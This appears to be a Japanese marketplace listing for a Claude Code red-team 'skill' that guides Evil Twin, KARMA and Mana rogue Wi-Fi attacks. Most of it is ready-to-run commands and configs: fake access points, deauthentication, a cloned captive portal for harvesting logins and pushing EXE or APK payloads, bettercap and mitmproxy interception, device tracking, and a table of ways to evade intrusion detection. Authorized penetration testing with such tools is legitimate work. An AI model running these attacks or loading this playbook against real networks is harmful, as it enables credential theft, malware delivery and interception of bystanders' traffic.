mcpField
O
offensive-evil-twin

offensive-evil-twin

github.com/snailsploitセキュリティ9.7k177 回インストール2 週間前に更新
リポジトリ

offensive-evil-twin について

無線セキュリティテスター向けのEvil Twin、KARMA、Mana攻撃ガイドです。偽アクセスポイント、キャプティブポータル、接続後のトラフィック検査を扱います。

主な機能

  1. 01対象ESSID向けの偽アクセスポイント構築
  2. 02KARMAまたはManaによるプローブ応答
  3. 03認証情報取得やペイロード配信向けポータル設定
  4. 04接続後の中間者トラフィック検査

活用シーン

  1. 01公衆またはゲストWi-Fiでのクライアントリスク評価
  2. 02許可を得た演習での認証情報ポータル検査
  3. 03プローブや偽アクセスポイントへのデバイス応答確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-evil-twin

インストール後、Claude Code で/offensive-evil-twinを入力して読み込まれたか確認します。

詳細

Evil Twin / KARMA / Mana

正規のターゲットと同じように見える(または、より魅力的に見える)APを設置します。クライアントが接続すると、あなたがゲートウェイになり、すべての通信を傍受できます。いわゆる「空港のキャプティブポータル」攻撃パターンを、エンゲージメントに応じた規模で実行します。

クイックワークフロー

  1. クライアントが探しているターゲット ESSID(PNL — 優先ネットワークリスト)を特定する
  2. 一致する ESSID を通知する不正 AP を設置する
  3. (任意)正規 AP からクライアントを切断させ、こちらに接続させる
  4. キャプティブポータル/透過的な MITM を実行する
  5. 認証情報を取得する、ペイロードを配信する、またはセッションを収集する

バリエーション

バリエーション仕組み用途
Evil Twin正規 AP と同じ ESSID + BSSIDオープンネットワーク、または PSK が判明しているネットワーク(ISP カフェの Wi-Fi、一般向けゲストネットワーク)
KARMAすべてのプローブ要求に「はい」と応答するPNL が広範なクライアント(古いデバイスの多く)
Manaクライアントごとにプローブへ選択的に応答するKARMA を認識する MAC ランダム化対策
既知ビーコン知られていそうな ESSID のリストをビーコンで通知する事前にプローブを確認せず、幅広く誘引する
キャプティブポータル接続時にスプラッシュページを強制表示するフィッシング、ペイロードの配信

オープン/PSK 判明済みの Evil Twin

PSK を把握している(または解読済みの)場合に使用します。

# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd

# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal

# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &

# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1   # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d

KARMA — 汎用プローブ応答

# hostapd-mana with KARMA mode enabled (mana_mode=1)
cat > /tmp/karma.conf <<EOF
interface=wlan0
ssid=KARMA
hw_mode=g
channel=6
mana_loud=1
mana_macacl=0
EOF
sudo hostapd-mana /tmp/karma.conf

MAC ランダム化を行う最近のクライアントは、ランダムな MAC とランダム化された PNL でプローブします。KARMA の無差別な肯定応答は、クライアントが実際には接続しないプローブにも反応してしまいます。より選択的に応答するには Mana を使用します。

Mana — クライアントごとの選択的応答

# hostapd-mana (default mode is mana, not loud)
cat > /tmp/mana.conf <<EOF
interface=wlan0
ssid=Free-WiFi
hw_mode=g
channel=6
mana_mode=1
mana_macacl=0
mana_outfile=/tmp/mana.log
EOF
sudo hostapd-mana /tmp/mana.conf

Mana は MAC → ESSID プローブリストを追跡します。その MAC が接続すると、Mana は観測したプローブリストから現実的な ESSID を一つ選び、一貫して応答します。KARMA を認識するクライアント側の緩和策を回避できます。

既知ビーコン攻撃

# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
eaphammer --essid-file likely_essids.txt --hostile-portal
# likely_essids.txt: airport, cafe, hotel, office defaults from open intel

これらの名前を PNL に含むデバイスは、ビーコンに引き寄せられて自発的に接続します。プローブを確認できない場合に便利です(最近のデバイスは以前よりプローブのブロードキャストが少なくなっています)。

Deauth による強制

既存のクライアントを正規 AP から切断し、こちらの Evil Twin に接続させます。

# On a different interface (or after stopping airbase-ng)
sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2

AP の信号を強くする(近くに配置する)か、送信出力を高くすると、クライアントは再接続時にこちらへローミングします。

検知とのトレードオフ: ブロードキャスト deauth は目立ちます。特定のクライアントだけを対象にした deauth のほうが目立ちません。PMF(802.11w)は暗号化されていない deauth をブロックします。offensive-deauth-disassoc を参照してください。

キャプティブポータル/認証情報の取得

# Portal options in eaphammer / wifiphisher / airgeddon include:
# - Generic OAuth-style (Google/MS/Facebook clones)
# - Vendor router login pages (matched to nearby AP brand)
# - Corporate-themed portal harvesting AD creds
# - Update-required prompts delivering EXE/APK payloads

# Custom: simple Flask+iptables setup
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
iptables -t nat -A POSTROUTING -j MASQUERADE
python3 -m flask run --host=10.10.10.1 --port=8080

忠実度の高いポータルを用意するには、正規のキャプティブポータルの HTML/CSS をそのまま複製します。多くのユーザーは URL を読まず、ざっと見るだけです。

接続後の MITM

クライアントが接続し、こちらがゲートウェイになると、次のことが可能です。

# Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)
mitmproxy --mode transparent --showhost --ssl-insecure

# Bettercap full pipeline (sniff, ARP, DNS, JS injection)
sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on"

ポータルレベルで CA をインストールしない限り、最新の HTTPS/HSTS/証明書ピンニングによって、ほとんどの TLS 傍受は防止されます。有用なターゲットは次のとおりです。

  • キャプティブポータルの平文通信
  • ピンニングに不備のあるアプリ(そのアプリに対して offensive-mobile スキルを実行する)
  • まだ使われている平文 HTTP サービス(旧式の IoT、古い管理パネル)
  • DNS ハイジャック(ピンニングされていないサービスに対して、攻撃者の IP アドレスを返す)

MAC ランダム化の回避

iOS、最近の Android、Windows 11 では、ネットワークごとに MAC アドレスがランダム化されます。それでも、次のようなネットワークごとに安定した識別情報が漏れることがあります。

  • SSID ごとの MAC の一貫性(同じ SSID では、時間が経っても同じ MAC を使用する)
  • プローブのシーケンス番号
  • 802.11 IE の順序(メーカーのフィンガープリント)
# Cluster probes to track devices across MACs
hcxdumptool -i wlan0mon --enable_status=15 --rds=2
# Analyze with hcxhash2cap / wifite-style fingerprinting

検知に関する考慮事項

防御側の検知シグナル攻撃者による緩和策
不正 AP の検知(BSSID が WIPS の許可リストにない)実際の BSSID に完全一致させ、独自 AP のアドバタイズを抑制する
KARMA のパターン(1 台の AP が多数の ESSID に応答する)Mana モードを使用する
RSSI の差(こちらの AP が正規 AP より近い)離れた場所から実行し、送信出力を下げる
正規 AP とビーコンのタイミングが一致しないビーコン間隔と IE の順序を一致させる
キャプティブポータルの HTML が正規ポータルと異なる完全に複製し、毎週更新する

最新のエンタープライズ WIPS は、KARMA をほぼ即座に検知します。Mana と BSSID の一致を組み合わせると、防御側が積極的に隠れた AP をあぶり出さない限り、検知はより困難になります。

エンゲージメント用チートシート

# 1. Recon — passive observe target ESSIDs and clients (no probes from you)
sudo airodump-ng wlan0mon -w probes

# 2. Pick mode based on environment
#    - PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth
#    - Open networks (cafe, airport): straight evil twin or KARMA
#    - Heterogeneous device population: Mana

# 3. Stand up rogue AP
sudo hostapd-mana /tmp/mana.conf
sudo dnsmasq -C /tmp/dnsmasq.conf

# 4. Captive portal / payload delivery / MITM
mitmproxy --mode transparent --showhost --ssl-insecure

# 5. Coerce specific clients if needed (deauth on legit AP)

# 6. Document captures, sessions, and time-on-target

主な参考資料

コメント